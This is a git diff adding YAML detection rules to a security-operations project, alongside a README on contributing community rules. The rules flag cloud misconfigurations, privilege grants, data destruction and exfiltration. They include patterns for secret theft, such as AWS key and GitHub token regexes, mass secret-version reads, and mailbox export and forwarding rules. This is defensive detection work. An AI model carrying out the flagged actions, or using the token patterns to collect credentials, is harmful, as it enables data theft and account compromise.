a/detections/cloud/azure-app-registration-permissive-scope.yaml b/detections/cloud/azure-app-registration-permissive-scope.yamlnew file mode 100644index 000000000..95c2f1ba0--- /dev/null+++ b/detections/cloud/azure-app-registration-permissive-scope.yaml@@ -0,0 +1,24 @@+id: det-cloud-023+name: Azure AD App Registration Granted Broad Graph Scope+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD App Registration+ Granted Broad Graph Scope'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1098.001+- tlp.white+category: cloud+log_source:+ product: azure+ service: azuread-audit+detection:+ condition: |+ operation_name == "Add app role assignment to service principal"+ AND scope IN ["Mail.ReadWrite", "Files.ReadWrite.All", "Directory.ReadWrite.All", "User.ReadWrite.All"]+false_positives:+- IT service-account onboarding (must be ticketed)+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/azure-conditional-access-disabled.yaml b/detections/cloud/azure-conditional-access-disabled.yamlnew file mode 100644index 000000000..132fd4a21--- /dev/null+++ b/detections/cloud/azure-conditional-access-disabled.yaml@@ -0,0 +1,24 @@+id: det-cloud-018+name: Azure AD Conditional Access Policy Disabled or Removed+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD Conditional+ Access Policy Disabled or Removed'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1562.001+- tlp.white+category: cloud+log_source:+ product: azure+ service: azuread-audit+detection:+ condition: |+ operation_name IN ["Update conditional access policy", "Delete conditional access policy"]+ AND policy_state == "disabled"+false_positives:+- Policy migration (must reference replacement policy)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/azure-keyvault-key-deleted.yaml b/detections/cloud/azure-keyvault-key-deleted.yamlnew file mode 100644index 000000000..cddf3958c--- /dev/null+++ b/detections/cloud/azure-keyvault-key-deleted.yaml@@ -0,0 +1,23 @@+id: det-cloud-019+name: Azure Key Vault Key Deleted+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure Key Vault Key+ Deleted'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1485+- tlp.white+category: cloud+log_source:+ product: azure+ service: keyvault+detection:+ condition: |+ operation_name IN ["KeyDelete", "VaultDelete"]+false_positives:+- Key rotation cleanup (paired with KeyCreate within 24h)+playbook: tpl-data-destruction+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/azure-login-anonymous-ip.yaml b/detections/cloud/azure-login-anonymous-ip.yamlnew file mode 100644index 000000000..1bcbed8f7--- /dev/null+++ b/detections/cloud/azure-login-anonymous-ip.yaml@@ -0,0 +1,23 @@+id: det-cloud-024+name: Azure AD Login from Tor / Anonymous IP+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure AD Login from+ Tor / Anonymous IP'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1078.004+- tlp.white+category: cloud+log_source:+ product: azure+ service: azuread-signin+detection:+ condition: |+ risk_event_type == "anonymizedIPAddress"+false_positives:+- Researchers using Tor for testing (must be tagged research-account)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/azure-nsg-allow-all-inbound.yaml b/detections/cloud/azure-nsg-allow-all-inbound.yamlnew file mode 100644index 000000000..e97bb9940--- /dev/null+++ b/detections/cloud/azure-nsg-allow-all-inbound.yaml@@ -0,0 +1,25 @@+id: det-cloud-020+name: Azure NSG Rule Allowing 0.0.0.0/0 Inbound+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure NSG Rule Allowing+ 0.0.0.0/0 Inbound'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1190+- tlp.white+category: cloud+log_source:+ product: azure+ service: activity+detection:+ condition: |+ operation_name == "Microsoft.Network/networkSecurityGroups/securityRules/write"+ AND rule_source == "*"+ AND rule_destination_port IN [22, 3389, 1433, 3306, 6379]+false_positives:+- Public load balancer subnet (tag = role:public-lb)+playbook: tpl-cloud-misconfig+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/azure-resource-mass-delete.yaml b/detections/cloud/azure-resource-mass-delete.yamlnew file mode 100644index 000000000..22dbd49a6--- /dev/null+++ b/detections/cloud/azure-resource-mass-delete.yaml@@ -0,0 +1,25 @@+id: det-cloud-025+name: Azure Resource Mass Deletion+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure Resource Mass+ Deletion'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1485+- tlp.white+category: cloud+log_source:+ product: azure+ service: activity+detection:+ condition: |+ operation_name ENDSWITH "/delete"+ AND delete_count_per_principal > 50+ AND time_window_minutes < 15+false_positives:+- Sandbox cleanup (must originate from automation principal)+playbook: tpl-data-destruction+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/azure-storage-public-blob.yaml b/detections/cloud/azure-storage-public-blob.yamlnew file mode 100644index 000000000..201f44e63--- /dev/null+++ b/detections/cloud/azure-storage-public-blob.yaml@@ -0,0 +1,24 @@+id: det-cloud-021+name: Azure Storage Account Container Made Public+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Azure Storage Account+ Container Made Public'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1530+- tlp.white+category: cloud+log_source:+ product: azure+ service: activity+detection:+ condition: |+ operation_name == "Microsoft.Storage/storageAccounts/blobServices/containers/write"+ AND public_access IN ["blob", "container"]+false_positives:+- Static website hosting (purpose=public tag required)+playbook: tpl-data-exposure+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/cloud-container-registry-public.yaml b/detections/cloud/cloud-container-registry-public.yamlnew file mode 100644index 000000000..3d0a207f6--- /dev/null+++ b/detections/cloud/cloud-container-registry-public.yaml@@ -0,0 +1,24 @@+id: det-cloud-037+name: Container Registry Repository Made Public+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Container Registry+ Repository Made Public'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1525+- tlp.white+category: cloud+log_source:+ product: cloud+ service: registry+detection:+ condition: |+ event_name IN ["UpdateRepositoryVisibility", "SetIamPolicy"]+ AND visibility == "public"+false_positives:+- Public OSS image publishing (purpose=public-oss tag required)+playbook: tpl-data-exposure+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/cloud-cross-account-trust-add.yaml b/detections/cloud/cloud-cross-account-trust-add.yamlnew file mode 100644index 000000000..92c534c36--- /dev/null+++ b/detections/cloud/cloud-cross-account-trust-add.yaml@@ -0,0 +1,25 @@+id: det-cloud-040+name: Cross-Account Trust Added to Privileged Role+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Cross-Account Trust+ Added to Privileged Role'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1199+- tlp.white+category: cloud+log_source:+ product: cloud+ service: iam+detection:+ condition: |+ event_name IN ["UpdateAssumeRolePolicy", "PutRolePolicy"]+ AND trusted_principal_external_account == true+ AND external_account_in_allowlist == false+false_positives:+- Approved partner SaaS integration (allowlist required)+playbook: tpl-cloud-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/cloud-internet-load-balancer-no-waf.yaml b/detections/cloud/cloud-internet-load-balancer-no-waf.yamlnew file mode 100644index 000000000..13f0cd45a--- /dev/null+++ b/detections/cloud/cloud-internet-load-balancer-no-waf.yaml@@ -0,0 +1,25 @@+id: det-cloud-039+name: Internet-Facing Load Balancer Without WAF+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Internet-Facing Load+ Balancer Without WAF'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1190+- tlp.white+category: cloud+log_source:+ product: cloud+ service: lb+detection:+ condition: |+ event_name IN ["CreateLoadBalancer", "ModifyLoadBalancerAttributes"]+ AND scheme == "internet-facing"+ AND waf_attached == false+false_positives:+- Health-check / status-page endpoints (must be tagged purpose=status)+playbook: tpl-cloud-misconfig+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/cloud-secrets-in-env.yaml b/detections/cloud/cloud-secrets-in-env.yamlnew file mode 100644index 000000000..8901bfe14--- /dev/null+++ b/detections/cloud/cloud-secrets-in-env.yaml@@ -0,0 +1,24 @@+id: det-cloud-036+name: Cloud Workload Spawned with Secrets in Environment Variables+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Cloud Workload Spawned+ with Secrets in Environment Variables'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1552.001+- tlp.white+category: cloud+log_source:+ product: cloud+ service: workload+detection:+ condition: |+ event_name IN ["RunInstances", "RunPods", "DeployContainer"]+ AND env_has_secret == true+false_positives:+- Legacy workloads pre-migration to a secret-store (decommission ticket required)+playbook: tpl-cloud-misconfig+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/cloud-tfstate-public.yaml b/detections/cloud/cloud-tfstate-public.yamlnew file mode 100644index 000000000..b67b4a9b4--- /dev/null+++ b/detections/cloud/cloud-tfstate-public.yaml@@ -0,0 +1,25 @@+id: det-cloud-038+name: Terraform State File Stored in Public Bucket+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'Terraform State File+ Stored in Public Bucket'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1530+- mitre.attack.t1552.001+- tlp.white+category: cloud+log_source:+ product: cloud+ service: storage+detection:+ condition: |+ object_path ENDSWITH ".tfstate"+ AND bucket_visibility == "public"+false_positives:+- Demo/training repos (must be in dedicated demo project)+playbook: tpl-data-exposure+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/gcp-audit-log-sink-disabled.yaml b/detections/cloud/gcp-audit-log-sink-disabled.yamlnew file mode 100644index 000000000..8ff0c9bdf--- /dev/null+++ b/detections/cloud/gcp-audit-log-sink-disabled.yaml@@ -0,0 +1,23 @@+id: det-cloud-031+name: GCP Audit Log Sink Disabled or Deleted+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Audit Log Sink+ Disabled or Deleted'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1562.008+- tlp.white+category: cloud+log_source:+ product: gcp+ service: audit+detection:+ condition: |+ method_name IN ["google.logging.v2.ConfigServiceV2.DeleteSink", "google.logging.v2.ConfigServiceV2.UpdateSink"]+false_positives:+- Sink migration (must reference replacement sink)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/gcp-bigquery-dataset-public.yaml b/detections/cloud/gcp-bigquery-dataset-public.yamlnew file mode 100644index 000000000..162ff2909--- /dev/null+++ b/detections/cloud/gcp-bigquery-dataset-public.yaml@@ -0,0 +1,24 @@+id: det-cloud-035+name: GCP BigQuery Dataset Made Public+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP BigQuery Dataset+ Made Public'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1530+- tlp.white+category: cloud+log_source:+ product: gcp+ service: audit+detection:+ condition: |+ method_name == "google.cloud.bigquery.v2.DatasetService.UpdateDataset"+ AND iam_member IN ["allUsers", "allAuthenticatedUsers"]+false_positives:+- Public datasets program (purpose=public tag required)+playbook: tpl-data-exposure+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/gcp-firewall-rule-allow-all.yaml b/detections/cloud/gcp-firewall-rule-allow-all.yamlnew file mode 100644index 000000000..4e4a7fe95--- /dev/null+++ b/detections/cloud/gcp-firewall-rule-allow-all.yaml@@ -0,0 +1,25 @@+id: det-cloud-029+name: GCP Firewall Rule Allowing 0.0.0.0/0 Inbound+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Firewall Rule+ Allowing 0.0.0.0/0 Inbound'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1190+- tlp.white+category: cloud+log_source:+ product: gcp+ service: audit+detection:+ condition: |+ method_name == "compute.firewalls.insert"+ AND source_range == "0.0.0.0/0"+ AND port IN [22, 3389, 5432, 3306, 6379]+false_positives:+- External load balancer subnet (tagged role=public-lb)+playbook: tpl-cloud-misconfig+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/gcp-gcs-bucket-public.yaml b/detections/cloud/gcp-gcs-bucket-public.yamlnew file mode 100644index 000000000..5d0163b61--- /dev/null+++ b/detections/cloud/gcp-gcs-bucket-public.yaml@@ -0,0 +1,24 @@+id: det-cloud-028+name: GCP GCS Bucket Set to Public+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP GCS Bucket Set+ to Public'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1530+- tlp.white+category: cloud+log_source:+ product: gcp+ service: audit+detection:+ condition: |+ method_name == "storage.setIamPermissions"+ AND iam_member IN ["allUsers", "allAuthenticatedUsers"]+false_positives:+- Public website hosting (must be tagged purpose=public)+playbook: tpl-data-exposure+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/gcp-iam-primitive-role-grant.yaml b/detections/cloud/gcp-iam-primitive-role-grant.yamlnew file mode 100644index 000000000..bcd24b121--- /dev/null+++ b/detections/cloud/gcp-iam-primitive-role-grant.yaml@@ -0,0 +1,24 @@+id: det-cloud-026+name: GCP IAM Primitive Role (Owner/Editor) Granted+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP IAM Primitive+ Role (Owner/Editor) Granted'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1078.004+- tlp.white+category: cloud+log_source:+ product: gcp+ service: audit+detection:+ condition: |+ method_name == "SetIamPolicy"+ AND role IN ["roles/owner", "roles/editor"]+false_positives:+- Initial bootstrap (one-time, ticketed)+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/gcp-org-policy-modified.yaml b/detections/cloud/gcp-org-policy-modified.yamlnew file mode 100644index 000000000..92e25cd46--- /dev/null+++ b/detections/cloud/gcp-org-policy-modified.yaml@@ -0,0 +1,23 @@+id: det-cloud-032+name: GCP Organization Policy Modified+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Organization Policy+ Modified'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1562.008+- tlp.white+category: cloud+log_source:+ product: gcp+ service: audit+detection:+ condition: |+ method_name ENDSWITH ".SetOrgPolicy"+false_positives:+- Approved policy change (must reference change ticket in metadata)+playbook: tpl-defense-evasion+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/gcp-project-deletion.yaml b/detections/cloud/gcp-project-deletion.yamlnew file mode 100644index 000000000..efdcd4d89--- /dev/null+++ b/detections/cloud/gcp-project-deletion.yaml@@ -0,0 +1,23 @@+id: det-cloud-030+name: GCP Project Marked for Deletion+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Project Marked+ for Deletion'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1485+- tlp.white+category: cloud+log_source:+ product: gcp+ service: audit+detection:+ condition: |+ method_name == "DeleteProject"+false_positives:+- Sandbox project cleanup (project name must contain -sbx or -test)+playbook: tpl-data-destruction+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/gcp-secret-manager-mass-export.yaml b/detections/cloud/gcp-secret-manager-mass-export.yamlnew file mode 100644index 000000000..4e26aed3c--- /dev/null+++ b/detections/cloud/gcp-secret-manager-mass-export.yaml@@ -0,0 +1,26 @@+id: det-cloud-034+name: GCP Secret Manager Mass AccessSecretVersion+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Secret Manager+ Mass AccessSecretVersion'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: critical+tags:+- mitre.attack.t1555.005+- mitre.attack.t1530+- tlp.white+category: cloud+log_source:+ product: gcp+ service: audit+detection:+ condition: |+ method_name == "google.cloud.secretmanager.v1.SecretManagerService.AccessSecretVersion"+ AND secret_count_per_principal > 25+ AND time_window_minutes < 10+false_positives:+- Boot of large microservice fleet (must be a known service principal in allowlist)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/gcp-service-account-impersonation.yaml b/detections/cloud/gcp-service-account-impersonation.yamlnew file mode 100644index 000000000..ccacf5aed--- /dev/null+++ b/detections/cloud/gcp-service-account-impersonation.yaml@@ -0,0 +1,24 @@+id: det-cloud-033+name: GCP Service Account Impersonation Outside Allowlist+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Service Account+ Impersonation Outside Allowlist'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1078.004+- tlp.white+category: cloud+log_source:+ product: gcp+ service: audit+detection:+ condition: |+ method_name == "GenerateAccessToken"+ AND impersonator_in_allowlist == false+false_positives:+- IT support break-glass (allowlisted impersonator only)+playbook: tpl-cloud-anomaly+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/cloud/gcp-service-account-key-created.yaml b/detections/cloud/gcp-service-account-key-created.yamlnew file mode 100644index 000000000..79e6c527e--- /dev/null+++ b/detections/cloud/gcp-service-account-key-created.yaml@@ -0,0 +1,23 @@+id: det-cloud-027+name: GCP Service Account Key Created+description: AiSOC v1 curated detection. Triggers on the cloud signal described by 'GCP Service Account+ Key Created'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1098.001+- tlp.white+category: cloud+log_source:+ product: gcp+ service: audit+detection:+ condition: |+ method_name == "google.iam.admin.v1.CreateServiceAccountKey"+false_positives:+- IaC tooling using key-pair auth (must be tagged purpose=iac)+playbook: tpl-privilege-escalation+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/community/README.md b/detections/community/README.mdnew file mode 100644index 000000000..c579dc541--- /dev/null+++ b/detections/community/README.md@@ -0,0 +1,47 @@+# Community Detections++This directory holds detection rules contributed by the AiSOC community.++Anything you drop here as `<your-rule>.yaml` will be picked up by+[`scripts/build_marketplace.py`](../../scripts/build_marketplace.py) on the+next `pnpm marketplace:build` and shown in the in-app marketplace with a+**Community** badge.++## Authoring a community detection++Use any rule under [`detections/cloud/`](../cloud/),+[`detections/identity/`](../identity/), or+[`detections/endpoint/`](../endpoint/) as a template. Every rule **must**:++- Declare a stable `id` (kebab-case, no spaces). The convention for community+ contributions is `community-<github-handle>-<short-name>`.+- Map to MITRE ATT&CK via `tags` entries of the form+ `mitre.attack.T1234` or `mitre.attack.T1234.567`. The marketplace MITRE+ filter only sees rules with at least one such tag.+- Set `severity` to one of `low`, `medium`, `high`, `critical`.+- Reference a fixture under [`detections/fixtures/`](../fixtures/) so the+ detection can be replay-tested.+- Include a short `false_positives:` list — even if it's just `[]` — so+ responders know what to expect.++## Validation++Before opening a PR:++```bash+python3 scripts/validate_detections.py+pnpm marketplace:build+pnpm marketplace:check+```++The `marketplace:check` step asserts that `marketplace/index.json` and its+public copy at `apps/web/public/marketplace/index.json` match what the build+script produces from the current contents of this repo. CI will fail+otherwise.++## Promotion path++Community detections start with `verified: false` and `source: "community"`.+After a maintainer reviews the rule against several weeks of real telemetry,+the rule may be **promoted** into the appropriate top-level category folder+(e.g. `detections/identity/`) and re-marked as verified.diff --git a/detections/data-exfil/archive-then-egress.yaml b/detections/data-exfil/archive-then-egress.yamlnew file mode 100644index 000000000..51a872db4--- /dev/null+++ b/detections/data-exfil/archive-then-egress.yaml@@ -0,0 +1,25 @@+id: det-data-exfil-004+name: Archive Tool Then Large Egress Within 15 Minutes+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Archive Tool+ Then Large Egress Within 15 Minutes'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1560.001+- mitre.attack.t1041+- tlp.white+category: data-exfil+log_source:+ product: edr+ service: correlated+detection:+ condition: |+ archive_seen_within_minutes < 15+ AND egress_bytes > 100000000+false_positives:+- Backup tool that compresses then ships (allowlist)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/backup-export-anomalous.yaml b/detections/data-exfil/backup-export-anomalous.yamlnew file mode 100644index 000000000..3241434b5--- /dev/null+++ b/detections/data-exfil/backup-export-anomalous.yaml@@ -0,0 +1,24 @@+id: det-data-exfil-017+name: Backup Export to Non-Allowlisted Destination+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Backup Export+ to Non-Allowlisted Destination'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1567+- tlp.white+category: data-exfil+log_source:+ product: cloud+ service: backup+detection:+ condition: |+ event_type == "Backup.Export"+ AND backup_dst_in_allowlist == false+false_positives:+- Approved DR drill (must be ticketed)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/bulk-msg-export-mail.yaml b/detections/data-exfil/bulk-msg-export-mail.yamlnew file mode 100644index 000000000..817bbd8ea--- /dev/null+++ b/detections/data-exfil/bulk-msg-export-mail.yaml@@ -0,0 +1,23 @@+id: det-data-exfil-015+name: Bulk Mailbox Export From M365 Compliance Center+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Bulk Mailbox+ Export From M365 Compliance Center'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1114.002+- tlp.white+category: data-exfil+log_source:+ product: azure+ service: azuread-audit+detection:+ condition: |+ operation_name == "Search-Mailbox -DeleteContent:$false -TargetMailbox"+false_positives:+- Approved eDiscovery operations (must be ticketed)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/bulk-zip-on-fileserver.yaml b/detections/data-exfil/bulk-zip-on-fileserver.yamlnew file mode 100644index 000000000..f2633e769--- /dev/null+++ b/detections/data-exfil/bulk-zip-on-fileserver.yaml@@ -0,0 +1,26 @@+id: det-data-exfil-014+name: Bulk Zip Creation on File Server+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Bulk Zip Creation+ on File Server'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1560.001+- tlp.white+category: data-exfil+log_source:+ product: edr+ service: file-create+detection:+ condition: |+ event_type == "FileCreate"+ AND file_path ENDSWITH ".zip"+ AND zip_size_bytes > 500000000+ AND host_role == "fileserver"+false_positives:+- Approved backup process (must be from backup principal)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/container-mass-image-export.yaml b/detections/data-exfil/container-mass-image-export.yamlnew file mode 100644index 000000000..46d9247eb--- /dev/null+++ b/detections/data-exfil/container-mass-image-export.yaml@@ -0,0 +1,26 @@+id: det-data-exfil-018+name: Container Image Mass Export to External Registry+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Container Image+ Mass Export to External Registry'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1567+- tlp.white+category: data-exfil+log_source:+ product: cloud+ service: registry+detection:+ condition: |+ event_type == "image.push"+ AND dst_registry_in_allowlist == false+ AND image_count_per_principal > 5+ AND time_window_minutes < 30+false_positives:+- Approved OSS image releases (allowlist destination)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/data-share-external-domain.yaml b/detections/data-exfil/data-share-external-domain.yamlnew file mode 100644index 000000000..bf571c98a--- /dev/null+++ b/detections/data-exfil/data-share-external-domain.yaml@@ -0,0 +1,25 @@+id: det-data-exfil-005+name: SaaS File Shared to External Domain+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'SaaS File Shared+ to External Domain'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1567+- tlp.white+category: data-exfil+log_source:+ product: google-workspace+ service: drive+detection:+ condition: |+ event_type == "drive.acl.change"+ AND share_target_external == true+ AND share_target_domain_in_allowlist == false+false_positives:+- Approved B2B partners (allowlisted)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/db-mass-row-read.yaml b/detections/data-exfil/db-mass-row-read.yamlnew file mode 100644index 000000000..3331240a2--- /dev/null+++ b/detections/data-exfil/db-mass-row-read.yaml@@ -0,0 +1,25 @@+id: det-data-exfil-008+name: Database Application Reads Anomalously High Row Count+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Database Application+ Reads Anomalously High Row Count'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1530+- tlp.white+category: data-exfil+log_source:+ product: db+ service: query+detection:+ condition: |+ event_type == "SQL_SELECT"+ AND rows_read_per_session > 500000+ AND baseline_z_score > 4+false_positives:+- Reporting jobs (allowlist principal)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/egress-spike-baseline.yaml b/detections/data-exfil/egress-spike-baseline.yamlnew file mode 100644index 000000000..34b711345--- /dev/null+++ b/detections/data-exfil/egress-spike-baseline.yaml@@ -0,0 +1,24 @@+id: det-data-exfil-002+name: Outbound Bytes Spike Above Baseline (Anomaly)+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Outbound Bytes+ Spike Above Baseline (Anomaly)'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1041+- tlp.white+category: data-exfil+log_source:+ product: ndr+ service: flow+detection:+ condition: |+ bytes_out_per_src > 200000000+ AND baseline_z_score > 4+false_positives:+- Approved bulk syncs (allowlist src)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/encrypted-archive-attachment.yaml b/detections/data-exfil/encrypted-archive-attachment.yamlnew file mode 100644index 000000000..7e89e1dae--- /dev/null+++ b/detections/data-exfil/encrypted-archive-attachment.yaml@@ -0,0 +1,25 @@+id: det-data-exfil-012+name: Encrypted Archive Attachment Sent Externally+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Encrypted Archive+ Attachment Sent Externally'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: medium+tags:+- mitre.attack.t1560.001+- mitre.attack.t1567+- tlp.white+category: data-exfil+log_source:+ product: email+ service: messages+detection:+ condition: |+ attachment_encrypted == true+ AND to_external == true+false_positives:+- Approved encrypted exchange with regulated counterparties (allowlist)+playbook: tpl-data-exfil+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/exchange-mail-forward-external.yaml b/detections/data-exfil/exchange-mail-forward-external.yamlnew file mode 100644index 000000000..3d1f5ec6c--- /dev/null+++ b/detections/data-exfil/exchange-mail-forward-external.yaml@@ -0,0 +1,24 @@+id: det-data-exfil-016+name: Inbox Rule Forwarding to External Address+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Inbox Rule Forwarding+ to External Address'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1114.003+- tlp.white+category: data-exfil+log_source:+ product: azure+ service: exchange-online+detection:+ condition: |+ operation_name IN ["New-InboxRule", "Set-InboxRule"]+ AND forward_destination_external == true+false_positives:+- Approved external assistant/EA address (allowlisted)+playbook: tpl-account-compromise+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/github-pii-pattern-push.yaml b/detections/data-exfil/github-pii-pattern-push.yamlnew file mode 100644index 000000000..e7e06da94--- /dev/null+++ b/detections/data-exfil/github-pii-pattern-push.yaml@@ -0,0 +1,24 @@+id: det-data-exfil-010+name: Git Push Containing PII or Secret Pattern+description: AiSOC v1 curated detection. Triggers on the data-exfil signal described by 'Git Push Containing+ PII or Secret Pattern'. Watch the 1 documented false-positive case before tuning.+version: 1.0.0+severity: high+tags:+- mitre.attack.t1552.001+- tlp.white+category: data-exfil+log_source:+ product: github+ service: audit+detection:+ condition: |+ action == "git.push"+ AND diff_text PATTERN_MATCH_ANY ["AKIA[0-9A-Z]{16}", "ghp_[A-Za-z0-9]{36}", "[A-Z0-9._%+-]+@[A-Z0-9.-]+ pii=true"]+false_positives:+- Test fixtures (must be tagged)+playbook: tpl-secret-leak+enabled: true+author: AiSOC+created: '2026-05-03'+modified: '2026-05-03'diff --git a/detections/data-exfil/large-egress-personal-cloud.yaml 